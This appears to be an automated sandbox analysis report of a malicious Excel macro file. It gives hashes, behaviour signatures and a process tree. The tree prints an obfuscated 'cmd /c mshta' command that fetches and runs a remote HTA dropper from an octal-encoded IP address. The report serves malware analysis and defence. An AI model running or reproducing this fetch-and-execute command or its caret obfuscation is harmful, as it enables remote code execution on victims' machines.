Analysis

  • max time kernel
    119s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    18-01-2022 01:00

General

  • Target

    053bb9b9096198d542ba99d4aa0148e9af3797c17d2b874f406bf9d35749d809.xlsm

  • Size

    110KB

  • MD5

    fdba23f96e2a3337048fbd1f116ac128

  • SHA1

    b9599026ed63f455d2cda18ec8dff202170be381

  • SHA256

    053bb9b9096198d542ba99d4aa0148e9af3797c17d2b874f406bf9d35749d809

  • SHA512

    82a691f0c5abaa2a9b56c800b9d405c155e6f5c6cfa80f1f39028ff8ce7e8239ee39cef06686b855c3173c8b4d034a55901280bfb0489e2bfdbebef153a89aa6

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0056.0151.0121.0114/c.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\053bb9b9096198d542ba99d4aa0148e9af3797c17d2b874f406bf9d35749d809.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1588
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0056.0151.0121.0114/c.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1540
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0056.0151.0121.0114/c.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        PID:1860

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1540-57-0x0000000000000000-mapping.dmp

  • memory/1588-54-0x000000002F1A1000-0x000000002F1A4000-memory.dmp

    Filesize

    12KB

  • memory/1588-55-0x0000000071401000-0x0000000071403000-memory.dmp

    Filesize

    8KB

  • memory/1588-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1588-59-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1860-58-0x0000000000000000-mapping.dmp